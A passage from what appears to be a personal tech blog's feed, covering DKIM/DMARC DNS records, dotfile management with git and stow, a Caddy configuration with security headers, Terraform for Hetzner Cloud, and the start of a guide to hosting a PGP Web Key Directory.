<pre><code>MBO0001._domainkey TXT v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2K4PavXoNY8eGK2u61LIQlOHS8f5sWsCK5b+HMOfo0M+aNHwfqlVdzi/IwmYnuDKuXYuCllrgnxZ4fG4yVaux58v9grVsFHdzdjPlAQfp5rkiETYpCMZwgsmdseJ4CoZaosPHLjPumFE/Ua2WAQQljnunsM9TONM9L6KxrO9t5IISD1XtJb0bq1lVI/e72k3mnPd/q77qzhTDmwN4TSNJZN8sxzUJx9HNSMRRoEIHSDLTIJUK+Up8IeCx0B7CiOzG5w/cHyZ3AM5V8lkqBaTDK46AwTkTVGJf59QxUZArG3FEH5vy9HzDmy0tGG+053/x4RqkhqMg5/ClDm+lpZqWwIDAQAB
</code></pre><p>The record consists of the host name <code>MB00001._domainkey</code> and the attribute field with the DKIM version, the used crypto algorithm (<code>k=rsa</code>) and the public key. If you want to learn more, I can recommend this blog article here: <a href="https://help.returnpath.com/hc/en-us/articles/222438487-DKIM-signature-header-detail">https://help.returnpath.com/hc/en-us/articles/222438487-DKIM-signature-header-detail</a></p>
<p>So, now we that we have DKIM and SPF, we can have a look at DMARC
(<em>Domain-based Message Authentication, Reporting and Conformance</em>). DMARC is
nice addition to DKIM and SPF, because with DMARC we can publish a policy that
recommends how other mail servers should treat our incoming mails. Moreover we
are even able to get reports. This is useful for debugging. My DMARC DNS record
looks like this:</p>
<pre><code>_dmarc TXT v=DMARC1; p=none; sp=quarantine; rua=mailto:postmaster@shibumi.dev
</code></pre><p>It will match on the domain: <code>_dmarc.shibumi.dev</code> and specifies the following
attributes for DMARC:</p>
<ul>
<li>
<p>The version as specified in <code>v=</code></p>
</li>
<li>
<p><code>p</code> is the policy for the domain. In this case <code>none</code>, so our mails should go
through.</p>
</li>
<li>
<p><code>sp</code> is the policy for subdomains. I chose <code>quanrantine</code> here, because I
don&rsquo;t plan to send mails from a subdomain. If you want to be more strict, you
can choose <code>reject</code> instead of <code>quanrantine</code>. <code>quarantine</code> will suggest mail
servers to move mails from subdomains of your domain to the spam folder.
<code>rua</code> specifies the reporting URI for aggregate reports (this is nice for
debugging). If you want even more information you can also send the <code>ruf</code>
attribute for forensic reports. If you want to know more, have a look at:
<a href="https://dmarc.org/overview/">https://dmarc.org/overview/</a></p>
<p>So that&rsquo;s it. This article got a little bit longer when I&rsquo;ve planned it. If
you have further questions, feel free to write me an email. You should
definitely have a look on the corresponding RFCs and the linked blog
articles. They helped me in understanding all of this.</p>
</li>
</ul>
]]></content></item><item><title>More ways to handle dotfiles</title><link>https://shibumi.dev/posts/more-ways-to-handle-dotfiles/</link><pubDate>Mon, 02 Mar 2020 00:31:49 +0100</pubDate><guid>https://shibumi.dev/posts/more-ways-to-handle-dotfiles/</guid><description>I&amp;rsquo;ve received plenty of feedback for my last blog article on how I handle dotfiles, hence I&amp;rsquo;ve decided that I want to give a glimpse on how others are managing their dotfiles.
Another way of handling dotfiles is using GNU stow as explained here: http://brandon.invergo.net/news/2012-05-26-using-gnu-stow-to-manage-your-dotfiles.html
With GNU stow it&amp;rsquo;s possible to store your dotfiles in a separate directory and then symlink to the files in this directory via invoking stow &amp;lt;directory name&amp;gt;.</description><content type="html"><![CDATA[<p>I&rsquo;ve received plenty of feedback for my last blog article on how I handle
dotfiles, hence I&rsquo;ve decided that I want to give a glimpse on how others are
managing their dotfiles.</p>
<p>Another way of handling dotfiles is using GNU stow as explained here:
<a href="http://brandon.invergo.net/news/2012-05-26-using-gnu-stow-to-manage-your-dotfiles.html">http://brandon.invergo.net/news/2012-05-26-using-gnu-stow-to-manage-your-dotfiles.html</a></p>
<p>With GNU stow it&rsquo;s possible to store your dotfiles in a separate directory and then symlink to the files in this directory via invoking <code>stow &lt;directory name&gt;</code>. Imagine the following structure:</p>
<pre><code>home
`-- chris
    `-- dotfiles
        |-- sway
        |   `-- .config
        |       `-- sway
        |           `-- config
        `-- vim
            |-- .vim
            `-- .vimrc
</code></pre><p>Now you can do the following:</p>
<pre><code>$ cd ~/dotfiles
$ stow sway
$ stow vim
</code></pre><p>Your resulting structure will look like this (the added files are symlinks):</p>
<pre><code>home
`-- chris
    |-- .config
    |   `-- sway
    |       `-- config
    |-- dotfiles
    |   |-- sway
    |   |   `-- .config
    |   |       `-- sway
    |   |           `-- config
    |   `-- vim
    |       |-- .vim
    |       `-- .vimrc
    |-- .vim
    `-- .vimrc
</code></pre><p>Pretty nice and clean approach, if you ask me. Disadvantage is that you need
stow as additional program though.</p>
<p>The next approach is also interesting. It&rsquo;s described here:
<a href="https://medium.com/toutsbrasil/how-to-manage-your-dotfiles-with-git-f7aeed8adf8b">https://medium.com/toutsbrasil/how-to-manage-your-dotfiles-with-git-f7aeed8adf8b</a></p>
<p>This approach is not so different from mine (using git + gitignore as
whitelist). Here the author is using some features of git I did not know about.
First you create a bare git repository, then you set an alias for git with that
git directory as git-dir and your $HOME as work-tree. Next you set
<code>status.showUntrackedFiles</code> to no for this git repository and you are able to
manage your $HOME directory with git.</p>
<pre><code>$ git init --bare $HOME/.dotfiles
$ alias dotfiles='/usr/bin/git --git-dir=$HOME/.dotfiles/ --work-tree=$HOME'
$ dotfiles config --local status.showUntrackedFiles no
$ dotfiles status
$ dotfiles add .vimrc
$ dotfiles commit -m &quot;new vimrc&quot;
</code></pre><p>If you want to setup your environment on a new computer, you can do the following:</p>
<pre><code>$ git clone --bare https://github.com/USERNAME/dotfiles.git $HOME/.dotfiles
$ alias dotfiles='/usr/bin/git --git-dir=$HOME/.dotfiles/ --work-tree=$HOME'
$ dotfiles checkout
</code></pre><p>I actually prefer this approach over the one with stow. You don&rsquo;t need an
additional program and you don&rsquo;t end up with too much symlinks.  If I wouldn&rsquo;t
have managed my $HOME already, I would give this definitely a try, although I
would be afraid that I could add files to my repository that I don&rsquo;t want.
<code>showUntrackedFiles</code> is disabled, but you can still add new files or
directories. So if you use this approach make sure to use <code>git add -p</code> or <code>git commit -v</code> for checking your chunks, before you add/commit/push them.</p>
<p>Last but not least, one of my readers told me about
<a href="https://github.com/TheLocehiliosan/yadm">yadm</a>.  Yadm is just another dotfiles
manager and supports GPG. Encryption is something that is missing in my current
approach (I sometimes miss it). Nevertheless it&rsquo;s another program, so I don&rsquo;t
want to get into too much details about yadm.</p>
]]></content></item><item><title>How to handle dotfiles</title><link>https://shibumi.dev/posts/how-to-handle-dotfiles/</link><pubDate>Sat, 29 Feb 2020 16:14:00 +0100</pubDate><guid>https://shibumi.dev/posts/how-to-handle-dotfiles/</guid><description>In this article I want to show how I handle my dotfiles and why I think it&amp;rsquo;s the best way to handle them. I tried different approaches for handling dotfiles in the past:
puppet ansible home made shell script magic maybe a few more I don&amp;rsquo;t remember, because i didn&amp;rsquo;t use them so much. So what&amp;rsquo;s wrong with puppet or ansible? Don&amp;rsquo;t get me wrong, I love config management and I love using both for bigger infrastructure.</description><content type="html"><![CDATA[<p>In this article I want to show how I handle my dotfiles and why I think it&rsquo;s the best way to handle them.
I tried different approaches for handling dotfiles in the past:</p>
<ul>
<li>puppet</li>
<li>ansible</li>
<li>home made shell script magic</li>
<li>maybe a few more I don&rsquo;t remember, because i didn&rsquo;t use them so much.</li>
</ul>
<p>So what&rsquo;s wrong with puppet or ansible? Don&rsquo;t get me wrong, I love config
management and I love using both for bigger infrastructure. The intonation lies
on <strong>bigger infrastructure</strong>. While I have to do with bigger infrastructure at
work I don&rsquo;t have that much infrastructure at home. At home I deal with one
Laptop and one Server. For the Server Ansible or Puppet makes sense, because I
want to do more than just dropping a few config files (installing webserver,
configuring sshd, etc).</p>
<p>Why do I not use puppet or ansible for my laptop? I tried it. I really wanted
too, but I find myself writing things twice. It started to be annoying, when
you have to deal with real file on your system and the corresponding templates.
In the end I always found myself, just editing the files directly, instead of
tweaking with the templates in the Ansible or Puppet repository. Instead of
reducing toil I found myself adding more toil through adding more layers of
abstract software, that I actually don&rsquo;t need. This applies for home made shell
script magic, too. Home made shell script magic for configuration management is
even more annoying, because instead of relying on standards you build something
on your own.  Some people maybe like this and maybe it&rsquo;s even a good training
for bash beginners, but for me it has been annoying too.</p>
<p>Why? Simply because I found myself fixing bugs that were not necessary, that&rsquo;s
why I changed to proper configuration management like puppet or ansible later
on and from proper configuration management to my current solution. How does my
current solution looks like? It&rsquo;s dead simple.</p>
<p>I use git with a whitelist. My whole home directory is just a big git directory
with a whitelist.  In this whitelist I have all files I want to monitor or
manage. When I move to a new laptop I just initialize my home directory with
this repository and I have all dotfiles where I need them. No templates are
involved nor any scripts that move things around.</p>
<p>The gitignore file can look like this:</p>
<pre><code>*
!.gitignore
!.zshrc
!.config
!.config/sway/
!.config/sway/config
</code></pre><p>This small gitignore will only handle the gitignore file, my zshrc and my sway
config. You need to whitelist directories one by one, full paths are not
allowed. Then you can do just add these files to your repository, commit and
push them to one or more remotes. Why more than one remote? Backups. This way, if you push, you automatically push to more than one remote and you have a backup on a second server.</p>
<p>The command for adding a second git remote as backup is the following:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash">git remote set-url origin --push --add <span class="s2">&#34;</span><span class="si">${</span><span class="nv">REMOTE</span><span class="si">}</span><span class="s2">&#34;</span>
</code></pre></div><p>This is going to add a second remote server to your origin remote.</p>
<p>One last question I want to answer is: How do I setup such a repository from an
existing home directory and will it effect other git directories?  If you want
to set this up from an existing repository, you can create a repository
upstream and then use <code>git init</code> in your home directory to initialize a git
repository, then just set your gitignore with the whitelisted files and
directories and your remotes and you should be good. Other git repositories
shouldn&rsquo;t get affected by this, because they are blacklisted.</p>
]]></content></item><item><title>New Caddyfile and more</title><link>https://shibumi.dev/posts/new-caddyfile-and-more/</link><pubDate>Wed, 26 Feb 2020 12:18:37 +0100</pubDate><guid>https://shibumi.dev/posts/new-caddyfile-and-more/</guid><description>I made a few significant changes on my blog. First, I have a new Caddyfile for Caddy:
{experimental_http3}www.nullday.de,www.nspawn.org,www.shibumi.dev{redir*https://{http.request.host.labels.1}.{http.request.host.labels.0}{path}}nullday.de{redir*https://shibumi.dev{path}}nspawn.org,shibumi.dev{file_serverroot*/srv/www/{host}/public/header{Strict-Transport-Security&amp;#34;max-age=31536000; includeSubDomains; preload; always&amp;#34;Public-Key-Pins&amp;#34;pin-sha256=\&amp;#34;sRHdihwgkaib1P1gxX8HFszlD+7/gTfNvuAybgLPNis=\&amp;#34;; pin-sha256=\&amp;#34;YLh1dUR9y6Kja30RrAn7JKnbQG/uEtLMkBgFF2Fuihg=\&amp;#34;; pin-sha256=\&amp;#34;C5+lpZ7tcVwmwQIMcRtPbsQtWLABXhQzejna0wHFr8M=\&amp;#34;; includeSubdomains; max-age=2629746;&amp;#34;X-Frame-Options&amp;#34;SAMEORIGIN&amp;#34;X-Content-Type-Options&amp;#34;nosniff&amp;#34;X-XSS-Protection&amp;#34;1; mode=block&amp;#34;Content-Security-Policy&amp;#34;default-src &amp;#39;none&amp;#39;; base-uri &amp;#39;self&amp;#39;; form-action &amp;#39;none&amp;#39;; img-src &amp;#39;self&amp;#39;; script-src &amp;#39;self&amp;#39;; style-src &amp;#39;self&amp;#39;; font-src &amp;#39;self&amp;#39;; worker-src &amp;#39;self&amp;#39;; object-src &amp;#39;self&amp;#39;; media-src &amp;#39;self&amp;#39;; frame-ancestors &amp;#39;none&amp;#39;; manifest-src &amp;#39;self&amp;#39;; connect-src &amp;#39;self&amp;#39;&amp;#34;Referrer-Policy&amp;#34;strict-origin&amp;#34;Feature-Policy&amp;#34;geolocation &amp;#39;none&amp;#39;;midi &amp;#39;none&amp;#39;; sync-xhr &amp;#39;none&amp;#39;;microphone &amp;#39;none&amp;#39;;camera &amp;#39;none&amp;#39;;magnetometer &amp;#39;none&amp;#39;;gyroscope &amp;#39;none&amp;#39;;speaker &amp;#39;none&amp;#39;;fullscreen &amp;#39;self&amp;#39;;payment &amp;#39;none&amp;#39;;&amp;#34;Expect-CT&amp;#34;max-age=604800&amp;#34;}header/.well-known/openpgpkey/*{Content-Typeapplication/octet-streamAccess-Control-Allow-Origin*}encode{zstdgzip}}The new Caddyfile enables experimental HTTP3 support. Also I&amp;rsquo;ve added a few redirects to my new domain.</description><content type="html"><![CDATA[<p>I made a few significant changes on my blog. First, I have a new Caddyfile for Caddy:</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml">{<span class="w">
</span><span class="w">	</span>experimental_http3<span class="w">
</span><span class="w"></span>}<span class="w">
</span><span class="w">
</span><span class="w"></span>www.nullday.de<span class="p">,</span><span class="w"> </span>www.nspawn.org<span class="p">,</span><span class="w"> </span>www.shibumi.dev<span class="w"> </span>{<span class="w">
</span><span class="w">	</span>redir<span class="w"> </span>*<span class="w"> </span>https<span class="p">:</span>//{http.request.host.labels<span class="m">.1</span>}.{http.request.host.labels<span class="m">.0</span>}{path}<span class="w">
</span><span class="w"></span>}<span class="w">
</span><span class="w">
</span><span class="w"></span>nullday.de<span class="w"> </span>{<span class="w">
</span><span class="w">	</span>redir<span class="w"> </span>*<span class="w"> </span>https<span class="p">:</span>//shibumi.dev{path}<span class="w">
</span><span class="w"></span>}<span class="w">
</span><span class="w">
</span><span class="w"></span>nspawn.org<span class="p">,</span><span class="w"> </span>shibumi.dev<span class="w"> </span>{<span class="w">
</span><span class="w">	</span>file_server<span class="w">
</span><span class="w">	</span>root<span class="w"> </span>*<span class="w"> </span>/srv/www/{host}/public/<span class="w">
</span><span class="w">	</span>header<span class="w"> </span>{<span class="w">
</span><span class="w">		</span>Strict-Transport-Security<span class="w"> </span><span class="s2">&#34;max-age=31536000; includeSubDomains; preload; always&#34;</span><span class="w">
</span><span class="w">		</span>Public-Key-Pins<span class="w"> </span><span class="s2">&#34;pin-sha256=\&#34;sRHdihwgkaib1P1gxX8HFszlD+7/gTfNvuAybgLPNis=\&#34;; pin-sha256=\&#34;YLh1dUR9y6Kja30RrAn7JKnbQG/uEtLMkBgFF2Fuihg=\&#34;; pin-sha256=\&#34;C5+lpZ7tcVwmwQIMcRtPbsQtWLABXhQzejna0wHFr8M=\&#34;; includeSubdomains; max-age=2629746;&#34;</span><span class="w">
</span><span class="w">		</span>X-Frame-Options<span class="w"> </span><span class="s2">&#34;SAMEORIGIN&#34;</span><span class="w">
</span><span class="w">		</span>X-Content-Type-Options<span class="w"> </span><span class="s2">&#34;nosniff&#34;</span><span class="w">
</span><span class="w">		</span>X-XSS-Protection<span class="w"> </span><span class="s2">&#34;1; mode=block&#34;</span><span class="w">
</span><span class="w">		</span>Content-Security-Policy<span class="w"> </span><span class="s2">&#34;default-src &#39;none&#39;; base-uri &#39;self&#39;; form-action &#39;none&#39;; img-src &#39;self&#39;; script-src &#39;self&#39;; style-src &#39;self&#39;; font-src &#39;self&#39;; worker-src &#39;self&#39;; object-src &#39;self&#39;; media-src &#39;self&#39;; frame-ancestors &#39;none&#39;; manifest-src &#39;self&#39;; connect-src &#39;self&#39;&#34;</span><span class="w">
</span><span class="w">		</span>Referrer-Policy<span class="w"> </span><span class="s2">&#34;strict-origin&#34;</span><span class="w">
</span><span class="w">		</span>Feature-Policy<span class="w"> </span><span class="s2">&#34;geolocation &#39;none&#39;;midi &#39;none&#39;; sync-xhr &#39;none&#39;;microphone &#39;none&#39;;camera &#39;none&#39;;magnetometer &#39;none&#39;;gyroscope &#39;none&#39;;speaker &#39;none&#39;;fullscreen &#39;self&#39;;payment &#39;none&#39;;&#34;</span><span class="w">
</span><span class="w">		</span>Expect-CT<span class="w"> </span><span class="s2">&#34;max-age=604800&#34;</span><span class="w">
</span><span class="w">	</span>}<span class="w">
</span><span class="w">	</span>header<span class="w"> </span>/.well-known/openpgpkey/*<span class="w"> </span>{<span class="w">
</span><span class="w">		</span>Content-Type<span class="w"> </span>application/octet-stream<span class="w">
</span><span class="w">		</span>Access-Control-Allow-Origin<span class="w"> </span>*<span class="w">
</span><span class="w">	</span>}<span class="w">
</span><span class="w">	</span>encode<span class="w"> </span>{<span class="w">
</span><span class="w">		</span>zstd<span class="w">
</span><span class="w">		</span>gzip<span class="w">
</span><span class="w">	</span>}<span class="w">
</span><span class="w"></span>}<span class="w">
</span></code></pre></div><p>The new Caddyfile enables experimental HTTP3 support. Also I&rsquo;ve added a few
redirects to my new domain.  All www prefix requests get redirected to their
version without www prefix.  My old domain nullday.de redirects now to my new
domain shibumi.dev.  Also I had to add <code>connect-src 'self'</code> to my CSP, because
Google Lighthouse seems to have problems with <code>defalt-src 'none'</code>. If just
<code>default-src 'none'</code> is being set, Google Lighthouse can&rsquo;t access your
robots.txt. This seems to be an issue in the Google Lighthouse implementation,
the Google Search Bot is not affected. You can test your robots.txt via:</p>
<div class="highlight"><pre class="chroma"><code class="language-javascript" data-lang="javascript"><span class="nx">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="s1">&#39;/robots.txt&#39;</span><span class="p">,</span> <span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="p">).</span><span class="nx">href</span><span class="p">)</span>
</code></pre></div><p>Feel free to follow this issue here:
<a href="https://github.com/GoogleChrome/lighthouse/issues/4386">https://github.com/GoogleChrome/lighthouse/issues/4386</a></p>
<p>The second change I has been adding a meta description for my blog and my blog
articles. As you might know, I use <a href="https://gohugo.io/">hugo</a> as static site
generator and <a href="https://github.com/Track3/hermit">Hermit</a> as Hugo theme. For
Hermit I have submitted a patch that should fix the meta description issue. It
looks as follows:</p>
<div class="highlight"><pre class="chroma"><code class="language-diff" data-lang="diff">From 8b888604a401c60c2021c9dc771e20640a359baa Mon Sep 17 00:00:00 2001
From: Christian Rebischke &lt;chris@shibumi.dev&gt;
Date: Sun, 23 Feb 2020 22:48:16 +0100
Subject: [PATCH] add meta description for google lighthouse

<span class="gd">---
</span><span class="gd"></span> archetypes/default.md        | 1 +
 archetypes/posts.md          | 1 +
 layouts/_default/baseof.html | 1 +
 3 files changed, 3 insertions(+)

<span class="gh">diff --git a/archetypes/default.md b/archetypes/default.md
</span><span class="gh">index 63c1c63..c98b02a 100644
</span><span class="gh"></span><span class="gd">--- a/archetypes/default.md
</span><span class="gd"></span><span class="gi">+++ b/archetypes/default.md
</span><span class="gi"></span><span class="gu">@@ -2,6 +2,7 @@
</span><span class="gu"></span> title: &#34;{{ replace .Name &#34;-&#34; &#34; &#34; | title }}&#34;
 date: {{ .Date }}
 draft: true
<span class="gi">+description:
</span><span class="gi"></span> comments: false
 images:
 ---
<span class="gh">diff --git a/archetypes/posts.md b/archetypes/posts.md
</span><span class="gh">index fe05261..cade919 100644
</span><span class="gh"></span><span class="gd">--- a/archetypes/posts.md
</span><span class="gd"></span><span class="gi">+++ b/archetypes/posts.md
</span><span class="gi"></span><span class="gu">@@ -2,6 +2,7 @@
</span><span class="gu"></span> title: &#34;{{ replace .Name &#34;-&#34; &#34; &#34; | title }}&#34;
 date: {{ .Date }}
 draft: true
<span class="gi">+description:
</span><span class="gi"></span> toc: false
 images:
 tags: 
<span class="gh">diff --git a/layouts/_default/baseof.html b/layouts/_default/baseof.html
</span><span class="gh">index 7f09c90..9a8302f 100644
</span><span class="gh"></span><span class="gd">--- a/layouts/_default/baseof.html
</span><span class="gd"></span><span class="gi">+++ b/layouts/_default/baseof.html
</span><span class="gi"></span><span class="gu">@@ -9,6 +9,7 @@
</span><span class="gu"></span> 	&lt;meta name=&#34;theme-color&#34; content=&#34;{{.}}&#34;&gt;
 	&lt;meta name=&#34;msapplication-TileColor&#34; content=&#34;{{.}}&#34;&gt;
 	{{- end }}
<span class="gi">+	&lt;meta name=&#34;description&#34; content=&#34;{{.Description | default .Site.Params.Description}}&#34;&gt;
</span><span class="gi"></span> 	{{- partial &#34;structured-data.html&#34; . }}
 	{{- partial &#34;favicons.html&#34; }}
 	&lt;title&gt;{{.Title}}&lt;/title&gt;
</code></pre></div><p>It adds a new <code>description</code> variable to all blog templates and adds the <code>&lt;meta name=&quot;description&quot;&gt;</code> HTML tag to the base HTML file. It sets the websites
default description if no description has been set.  Feel free to have a look
on the PR status here:
<a href="https://github.com/Track3/hermit/pull/121">https://github.com/Track3/hermit/pull/121</a></p>
]]></content></item><item><title>Terraforming my blog</title><link>https://shibumi.dev/posts/terraforming-my-blog/</link><pubDate>Tue, 18 Feb 2020 16:11:06 +0100</pubDate><guid>https://shibumi.dev/posts/terraforming-my-blog/</guid><description>I&amp;rsquo;ve just pushed a first step for managing my infrastructure via Hashicorps Terraform. In this article I want to speak about this first step and I want to give a glimpse into the future for it.
My infrastructure is hosted in Hetzner Cloud (there is luckily a terraform provider for it). DNS will be talked about in a later blog article.
I usually store my passwords in a gopass password store, hence I&amp;rsquo;ve wanted to let Terraform retrieve the Hetzner Cloud API key magically.</description><content type="html"><![CDATA[<p>I&rsquo;ve just pushed a first step for managing my infrastructure via Hashicorps
Terraform.  In this article I want to speak about this first step and I want to
give a glimpse into the future for it.</p>
<p>My infrastructure is hosted in Hetzner Cloud (there is luckily a terraform
provider for it). DNS will be talked about in a later blog article.</p>
<p>I usually store my passwords in a gopass password store, hence I&rsquo;ve wanted to
let Terraform retrieve the Hetzner Cloud API key magically.</p>
<p>The solution is the use of the <code>external</code> Terraform module:</p>
<div class="highlight"><pre class="chroma"><code class="language-hcl" data-lang="hcl"><span class="k">data</span> <span class="s2">&#34;external&#34; &#34;hetzner_cloud_api_key&#34;</span> {
<span class="n">	program</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&#34;${path.module}/fetch-key.sh&#34;</span><span class="p">]</span>
}
</code></pre></div><p>This snippet will call a wrapper script called <code>fetch-key.sh</code>, that basically
just calls gopass and translates the output to a JSON structure:</p>
<div class="highlight"><pre class="chroma"><code class="language-sh" data-lang="sh"><span class="cp">#!/bin/bash
</span><span class="cp"></span>
<span class="nv">hetzner_cloud_api_key</span><span class="o">=</span><span class="k">$(</span>gopass api/hetzner.com/motoko<span class="k">)</span>
<span class="nb">echo</span> <span class="s2">&#34;{ \&#34;hetzner_cloud_api_key\&#34;: \&#34;</span><span class="si">${</span><span class="nv">hetzner_cloud_api_key</span><span class="si">}</span><span class="s2">\&#34; }&#34;</span>
</code></pre></div><p>It&rsquo;s important to use the key  <code>hetzner_cloud_api_key</code> here!  In the next part
I am going to set the <code>hetzner_cloud_api_key</code> and call the <code>hcloud</code> provider
(this is going to download a go binary):</p>
<div class="highlight"><pre class="chroma"><code class="language-hcl" data-lang="hcl"><span class="k">provider</span> <span class="s2">&#34;hcloud&#34;</span> {
<span class="n">  token</span> <span class="o">=</span> <span class="k">data</span><span class="p">.</span><span class="k">external</span><span class="p">.</span><span class="k">hetzner_cloud_api_key</span><span class="p">.</span><span class="k">result</span><span class="p">.</span><span class="k">hetzner_cloud_api_key</span>
}
</code></pre></div><p>Then we are setting the actual server resource and an rdns entry for the server:</p>
<div class="highlight"><pre class="chroma"><code class="language-hcl" data-lang="hcl"><span class="k">resource</span> <span class="s2">&#34;hcloud_server&#34; &#34;kurisu&#34;</span> {
<span class="n">  name</span>        <span class="o">=</span> <span class="s2">&#34;kurisu&#34;</span>
<span class="n">  server_type</span> <span class="o">=</span> <span class="s2">&#34;cx11-ceph&#34;</span>
<span class="n">  location</span>    <span class="o">=</span> <span class="s2">&#34;fsn1&#34;</span>
<span class="n">  image</span>       <span class="o">=</span> <span class="s2">&#34;fedora-31&#34;</span>
  <span class="k">lifecycle</span> {
<span class="n">    ignore_changes</span> <span class="o">=</span> <span class="p">[</span><span class="k">image</span><span class="p">]</span>
  }
}

<span class="k">resource</span> <span class="s2">&#34;hcloud_rdns&#34; &#34;kurisu&#34;</span> {
<span class="n">  server_id</span>  <span class="o">=</span> <span class="k">hcloud_server</span><span class="p">.</span><span class="k">kurisu</span><span class="p">.</span><span class="k">id</span>
<span class="n">  ip_address</span> <span class="o">=</span> <span class="k">hcloud_server</span><span class="p">.</span><span class="k">kurisu</span><span class="p">.</span><span class="k">ipv4_address</span>
<span class="n">  dns_ptr</span>    <span class="o">=</span> <span class="s2">&#34;kurisu.shibumi.dev&#34;</span>
}
</code></pre></div><p>Interesting is the last part of the <code>hcloud_server</code> resource:</p>
<div class="highlight"><pre class="chroma"><code class="language-hcl" data-lang="hcl"><span class="n">  image</span>       <span class="o">=</span> <span class="s2">&#34;fedora-31&#34;</span>
  <span class="k">lifecycle</span> {
<span class="n">    ignore_changes</span> <span class="o">=</span> <span class="p">[</span><span class="k">image</span><span class="p">]</span>
  }
}
</code></pre></div><p>The image variable is actually never used. I have created my server with
Fedora-28 years ago. When Hetzner introduces a new Fedora image the last one
gets deprecated and the Hetzner Cloud API links that value against <code>null</code> or
<code>No Image</code>. Therefore any import of an existing server will fail, because you
can&rsquo;t set the <code>null</code> value to the image variable (it&rsquo;s a requirement for the
<code>hcloud_server</code> resource). And if you set any other string, the Hetzner Cloud
API will think it&rsquo;s a valid image value and will try to destroy your image and
create a new one. To go around this issue, just add a lifecycle for it and set
<code>ignore_changes = [image]</code>.  This will ignore any changes to the image variable
on Hetzner Cloud API side.</p>
<p>If you want to have a look on all files go and checkout:</p>
<p><a href="https://github.com/shibumi/infra">https://github.com/shibumi/infra</a></p>
<p>I will definitely work further on this. On my todo list are:</p>
<ul>
<li>DNS via <a href="https://inwx.de">inwx.de</a></li>
<li>rDNS entries for IPv6</li>
<li>Provisioning of the actual image (not sure if I will use Ansible or rely on this for Terraform too).</li>
</ul>
]]></content></item><item><title>How to setup your own WKD server</title><link>https://shibumi.dev/posts/how-to-setup-your-own-wkd-server/</link><pubDate>Sun, 16 Feb 2020 20:02:28 +0100</pubDate><guid>https://shibumi.dev/posts/how-to-setup-your-own-wkd-server/</guid><description>You may have heard about the problems with recent PGP key server implementations. I don&amp;rsquo;t want to reiterate the technical challenges with recent PGP key server implementations. I think there are enough explanations for this in the Web.
So let us focus on preventing the problems. One possible solution around this problem is self-hosting your own WKD server. WKD stands for Web Key Directory. It&amp;rsquo;s a new standard for hosting PGP keys via using existing infrastructure (webservers and HTTPS).</description><content type="html"><![CDATA[<p>You may have heard about the
<a href="https://gist.github.com/rjhansen/67ab921ffb4084c865b3618d6955275f">problems</a>
with recent PGP key server implementations. I don&rsquo;t want to reiterate the
technical challenges with recent PGP key server implementations. I think there
are enough explanations for this in the Web.</p>
<p>So let us focus on preventing the problems. One possible solution around this
problem is self-hosting your own WKD server. WKD stands for Web Key Directory.
It&rsquo;s a new standard for hosting PGP keys via using existing infrastructure
(webservers and HTTPS). You can find the current draft for the standard here:</p>
<p><a href="https://tools.ietf.org/html/draft-koch-openpgp-webkey-service-09">https://tools.ietf.org/html/draft-koch-openpgp-webkey-service-09https://tools.ietf.org/html/draft-koch-openpgp-webkey-service-09</a></p>
<p>The draft is long, so let me summarize this for you.
You need the following components for a successful WKD server:</p>
<ul>
<li>A webserver (Nginx,Apache,Caddy whatever you want)</li>
<li>An own domain</li>
<li>A valid TLS certificate (Let&rsquo;s Encrypt to the rescue!)</li>
</ul>
<p>A WKD server is the wrong solution for you, if:</p>
<ul>
<li>You have no webserver</li>
<li>You have no domain</li>
<li>You have no key ID with your domain</li>
</ul>
<p>The magic behind a WKD server is simple. The client (this can be either GPG or
even Thunderbird) will look up your key ID, then it will resolve the domain in
your key ID and will try to retrieve your public key via your domain and
webserver. Let us have a look on an example. This is my key with my various key
IDs (showed via <code>gpg -K</code>):</p>
<pre><code>sec&gt;  rsa4096 2015-07-16 [SC] [expires: 2020-06-25]
      6DAF7B808F9DF25139620000D21461E3DFE2060D
      Card serial no. = 0006 09716835
uid           [ultimate] Christian Rebischke (Arch Linux Security Team-Member) &lt;Chris.Rebischke@archlinux.org&gt;
uid           [ultimate] Christian Rebischke &lt;chris@nullday.de&gt;
uid           [ultimate] Christian Rebischke / Shibumi (Milliways) &lt;shibumi@milliways.info&gt;
uid           [ultimate] Christian Rebischke (www.nullday.de) &lt;Chris.Rebischke@gmail.com&gt;
uid           [ultimate] Christian Rebischke (TU-Clausthal) &lt;christian.rebischke@tu-clausthal.de&gt;
uid           [ultimate] Christian Rebischke &lt;christian.rebischke@mailbox.org&gt;
uid           [ultimate] Christian Rebischke (Archlinux Security Team-Member) &lt;chris.rebischke@archlinux.org&gt;
uid           [ultimate] Christian Rebischke &lt;Chris.Rebischke@posteo.de&gt;
uid           [ultimate] Christian Rebischke &lt;chris@shibumi.dev&gt;
ssb&gt;  rsa4096 2015-07-16 [E] [expires: 2020-06-25]
ssb&gt;  rsa4096 2019-04-12 [A] [expires: 2020-06-25]
</code></pre><p>Archlinux.org provides already its own WKD server. This blog article is about providing a WKD server for the uid: <code>Christian Rebischke &lt;chris@shibumi.dev&gt;</code>.</p>
<p>First you want to generate your WKD hash for the key. You can do this via the following command:
<code>gpg --with-wkd-hash --fingerprint chris@shibumi.dev</code></p>
<p>The output should look like this:</p>
<pre><code>uid           [ultimate] Christian Rebischke &lt;chris@shibumi.dev&gt;
              qrq8871k9z8yxp9doyh415jnrooj7guc@shibumi.dev
</code></pre><p>Now you can create a directory structure on your webserver as follows:</p>
<p><code>https://&lt;your domain&gt;/.well-known/openpgpkey/hu/&lt;your WKD hash&gt;</code></p>
<p>For my uid <code>chris@shibumi.dev</code> this would look like this:</p>
<pre><code>https://shibumi.dev/.well-known/openpgpkey/hu/qrq8871k9z8yxp9doyh415jnrooj7guc
</code></pre><p>The last part <code>qrq8871k9z8yxp9doyh415jnrooj7guc</code> is just your pubkey with the
filename: <code>qrq8871k9z8yxp9doyh415jnrooj7guc</code>. You can generate it via:</p>
<pre><code>gpg --no-armor --export chris@shibumi.dev &gt; qrq8871k9z8yxp9doyh415jnrooj7guc
</code></pre><p>For enabling the whole WKD server you need to place a <code>policy</code> file (this file
